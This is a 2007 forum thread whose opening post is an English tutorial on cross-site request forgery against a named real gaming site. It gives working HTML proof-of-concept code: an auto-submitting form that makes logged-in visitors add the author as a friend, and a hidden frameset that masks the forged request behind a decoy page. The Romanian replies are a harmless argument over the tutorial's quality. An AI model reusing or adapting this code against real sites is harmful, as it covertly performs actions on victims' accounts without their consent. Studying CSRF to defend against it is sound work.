moubik Posted November 17, 2007 Report Share Posted November 17, 2007 A simple CSRF tutorialCross Site Request Forgery. What does it actually mean?First let's check a site out:http://sc.gosugamers.netCreate an account.I've created an account named "websecurity.ro". Login and select AutologinLogin and select autologinWhat does autologin mean ? It means that it saves the cookie and every time i'll enter that page i will be automatically logged (this is very important in CSRF)Let's see for example how i can add a friend:http://sc.gosugamers.net/friends/Nice, i can add myself as a friendI’ve added myself as a friendLet's see how the addfriend form looks like (I'll use webdeveloper plugin from firefox): <form action="admin/friends.php" method="post"> <input name="sql" value="a_f" type="hidden" /> <input name="f_name" style="width: 150px" type="text" /> <input value="Add user to my friends list" type="submit" /> </form>from this code we can create this auto submitting html: <form action="http://sc.gosugamers.net/admin/friends.php" method="post" name="dude"> <input name="sql" value="a_f" type="hidden" /> <input name="f_name" style="width: 150px" type="text" value="websecurity.ro" /> <input value="Add user to my friends list" type="submit" /> </form> <script> setTimeout("document.dude.submit()", 2000); </script>We can save this code as gosugamers_csrf.htmlAnyone who is already logged in sc.gosugamers.net and enters gosugamers_csrf.html will automatically add "websecurity.ro" as their friend.PoC: gosugamers_csrf.htmlThis is one of the most harmless CSRF that you can create on their website.I don't really like how this piece of code gets executed, because the user can see that the request has been made and can undo it immediately.Let's create another html: <html> <head></head> <frameset rows="100%,0%"> <frame src="somecoolpage.html"> <frame src="gosugamers_csrf.html" name="littleframes"> </frameset> </html>And save it as gosugamers_hidden_csrf.htmlThis one loads 2 pages:- somecoolpage.html that will blind the user who enters the page;- gosugamers_csrf.html that will be almost invisible for the user.The final CSRF PoC:gosugamers_hidden_csrf.htmloriginal article on http://websecurity.ro http://websecurity.ro/blog/2007/11/17/csrf-cross-site-request-forgery-tutorial/ Quote Link to comment Share on other sites More sharing options...
tw8 Posted November 17, 2007 Report Share Posted November 17, 2007 Sincer sa fiu, mi se pare cam slabut. Nu prea ai explicat codul, si celor care nu stiu deja cate ceva despre CSRF si ceva HTML, nu prea le e de folos, iar celor care stiu, nu le e de folos deloc. Cred ca trebuia sa explici putin mai bine.In rest, toate bune .Bafta ! Quote Link to comment Share on other sites More sharing options...
moubik Posted November 17, 2007 Author Report Share Posted November 17, 2007 nu e explicat pt bunica ta. accepta si taci. Quote Link to comment Share on other sites More sharing options...
tw8 Posted November 17, 2007 Report Share Posted November 17, 2007 De acum o sa tin minte. Cand o sa faci tu un tutorial, o sa zic, indiferent de cat e de bun (sau de prost ), ca mi-a placut foarte mult, pentru ca vad ca sinceritatea te enerveaza .Bafta ! Quote Link to comment Share on other sites More sharing options...
moubik Posted November 17, 2007 Author Report Share Posted November 17, 2007 grow up.vrei sa pun requirements pentru a citi acest tutorial ? Quote Link to comment Share on other sites More sharing options...
tw8 Posted November 17, 2007 Report Share Posted November 17, 2007 grow up.Nu eu sunt cel care nu accepta parerea celorlalti. De fiecare data cand am facut un tutorial, am primit si laude, si critici. Insa, de fiecare data am primit critici diferite, nu am primit de 2 ori aceleasi comentarii, pentru ca eu tin cont de sfaturile celorlalti.P.S.: Daca vrei sa ne mai "certam" in idei, te astept pe PM, ca sa nu facem offtopic . Quote Link to comment Share on other sites More sharing options...
moubik Posted November 17, 2007 Author Report Share Posted November 17, 2007 m-ai invatat o lectie de viata. acum ma simt implinit.esti cumva pustan ? ca te simti important vad Quote Link to comment Share on other sites More sharing options...
tw8 Posted November 17, 2007 Report Share Posted November 17, 2007 ca te simti important vadCe te face sa crezi asta ? Quote Link to comment Share on other sites More sharing options...
d3v1l Posted November 18, 2007 Report Share Posted November 18, 2007 esti cumva pustan ? ca te simti important vad suntetzi amandoi "pustani" pt ca daca atzi fi baietzi maturi nu vatzi certa pt nimicuri. btw.. Parerea mea?Nu vad rostul unui tutorial facut in "english" si post-at aici intr-un forum romanesc(avand in vedere ca nu prea exista reg externi, iar prea putini care sunt intra aici doar pt "tools" si "exploit-uri" nicidecum pt tutoriale! Mai mult? -De ce drecu postati raspunsuri in limba romana din moment ce acest thread e doar pt "Tutoriale in engleza" Sau sa inteleg ca sunt "tutoriale in engleza"pt romani ? Quote Link to comment Share on other sites More sharing options...
